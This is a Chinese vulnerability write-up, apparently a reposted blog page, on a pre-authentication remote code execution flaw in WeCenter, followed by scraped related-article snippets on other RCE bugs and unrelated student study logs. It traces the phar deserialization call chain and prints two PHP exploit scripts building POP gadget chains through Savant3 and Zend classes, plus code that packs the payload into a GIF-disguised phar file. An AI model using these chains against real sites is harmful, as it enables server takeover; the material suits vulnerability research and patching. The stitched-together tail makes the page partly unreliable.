WeCenter (最新版) 前台RCE漏洞 (2020-02-22)

漏洞通过phar触发反序列化漏洞。

触发点:./models/account.php 中的 associate_remote_avatar 方法:

搜索全局调用了该方法的地方:

./app/account/ajax.php 路径中的 synch_img_action 方法:

从数据表 users_weixin中取出数据,想要控制此处,就必须要控制这个表。

再次全局搜索 users_weixin 找insert,update等操作。

./models/openid/weixin/weixin.php

再搜索调用 bind_account 方法:

./app/m/weixin.php 中的 binding_action 方法:

触发rce 的pop链:

./system/Savant3.php 中的 __toString 方法:

先查看isError方法:

只要传入的参数 $obj instanceof Savant3_Error 即可返回true。

再次跟进上面的 fetch 方法:

再次回到最初的 getoutput 方法:

跟进escape方法:

再次寻找一处能触发__toString 的链:

./system/Zend/Mail/Transport/Smtp.php 中的 析构方法:

exp:

<?php

class Savant3
{
    protected $__config = array(
        ‘error_text‘    => "phpinfo()",
        ‘exceptions‘    => false,
        ‘autoload‘      => false,
        ‘template‘      => ‘1‘,
        ‘escape‘        => array(‘assert‘),
    );
}

class Zend_Mail_Transport_Abstract{}
class Zend_Mail_Transport_Smtp extends Zend_Mail_Transport_Abstract
{
    protected $_connection;
    public function __construct(){
        $this->_connection = new Zend_Mail_Protocol_Smtp;
    }
}
class Zend_Mail_Protocol_Abstract{}
class Zend_Mail_Protocol_Smtp extends Zend_Mail_Protocol_Abstract
{
    protected $_sess = true;
    protected $_host;
        public function __construct(){
        $this->_host = new Savant3;
    }
}

$obj = new Zend_Mail_Transport_Smtp;
    @unlink("test.phar");
    $phar = new Phar("test.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub 增加gif文件头
    $phar->setMetadata($obj); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();    //签名自动计算

还有一条能触发__toString 的pop链:

./system/Zend/Http/Response/Stream.php 中的析构函数:

unlink,file_exists等函数都是可以触发__toString 的。

exp:

<?php
class Savant3
{
    protected $__config = array(
        ‘error_text‘    => "phpinfo()",
        ‘exceptions‘    => false,
        ‘autoload‘      => false,
        ‘template‘      => ‘1‘,
        ‘escape‘        => array(‘assert‘),
    );
}
class Zend_Http_Response{}
class Zend_Http_Response_Stream extends Zend_Http_Response
{
	protected $_cleanup = 1;
	protected $stream_name;
	public function __construct()
	{
		$this->stream_name = new Savant3;
	}
}

即可直接造成rce漏洞,因为php >= 7 assert不再是函数,导致不能回调了。

文章参考:

https://xz.aliyun.com/t/7077

http://www.yulegeyu.com/2020/01/22/WECENTER-%E5%8F%8D%E5%BA%8F%E5%88%97%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E5%88%A9%E7%94%A8%E9%93%BE/

原文地址:https://www.cnblogs.com/xiaozhiru/p/12345450.html

时间: 2024-10-08 10:33:20

WeCenter (最新版) 前台RCE漏洞 (2020-02-22)的相关文章

聊聊 WordPress 5.1.1 CSRF to RCE 漏洞

作者:LoRexxar'@知道创宇404实验室时间:2019年3月14日 2019年3月13日, RIPS团队公开了一篇关于WordPress 5.1.1的XSS漏洞详情,标题起的很响亮,叫做wordpress csrf to rce, https://blog.ripstech.com/2019/wordpress-csrf-to-rce/ 下面我们就来详细聊聊这个漏洞. 关于WordPress防护 早在2017年10月25号,我曾经写过一篇关于WordPress安全机制的文章. https:

Zimbra无需登录RCE漏洞利用

2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞的利用过程进行复现. 第一步:利用XXE读取配置文件 这里利用了CVE-2019-9670漏洞来读取配置文件,你需要在自己的VPS服务器上放置一个dtd文件,并使该文件能够通过HTTP访问.为了演示,我在GitHub上创建了一个仓库,从GitHub上获取dtd文件. 上图中用红框圈起来的就是zimb

WordPress插件Social Warfare&lt;=3.5.2 无需登录RCE漏洞

该漏洞只存在于Social Warfare插进的3.5.0.3.5.1和3.5.2版本中,其他版本不存在. 2019年3月21日插件作者紧急发布了3.5.3版本以修复高危的RCE漏洞,在<=3.5.2版本中存在一处无需登录即可getshell的RCE漏洞. 漏洞分析 在/wp-content/plugins/social-warfare/lib/utilities/SWP_Database_Migration.php文件中有一处eval()函数,该函数将file_get_contents()读取

学习进度2020.02.01

学习进度2020.02.01 https://www.runoob.com/w3cnote/android-tutorial-eclipse-adt-sdk-app.html 学习使用Eclipse + ADT + SDK开发Android APP 熟悉了该平台的环境,并简单使用此平台开发了一个简单的APP 原文地址:https://www.cnblogs.com/liurx/p/12250722.html

学习进度2020.02.02

学习进度2020.02.02 View与ViewGroup的概念 学习地址: https://www.runoob.com/w3cnote/android-tutorial-view-viewgroup-intro.html 在Android APP中,所有的用户界面元素都是由View和ViewGroup的对象构成的.View是绘制在屏幕上的用户能与之交互的一个对象.而ViewGroup则是一个用于存放其他View(和ViewGroup)对象的布局容器! Android为我们提供了一个View和

学习进度2020.02.03

学习进度2020.02.03 https://www.runoob.com/w3cnote/android-tutorial-linearlayout.html https://www.runoob.com/w3cnote/android-tutorial-relativelayout.html 今天学习下Android中的布局,Android中有六大布局,分别是: LinearLayout(线性布局),RelativeLayout(相对布局),TableLayout(表格布局) FrameLa

毕设进度2020.02.04

毕设进度2020.02.04 今天基本上将所有自己现在想到的数据库的表建立完成了. 用户(基本不算) 团组织信息表: 图书表: 原文地址:https://www.cnblogs.com/liurx/p/12261863.html

毕设进度2020.02.05

毕设进度2020.02.05 继续建立数据库和基础代码: 新闻数据库 政策数据库 原文地址:https://www.cnblogs.com/liurx/p/12267248.html

毕设进度2020.02.07

毕设进度2020.02.07 原文地址:https://www.cnblogs.com/liurx/p/12275066.html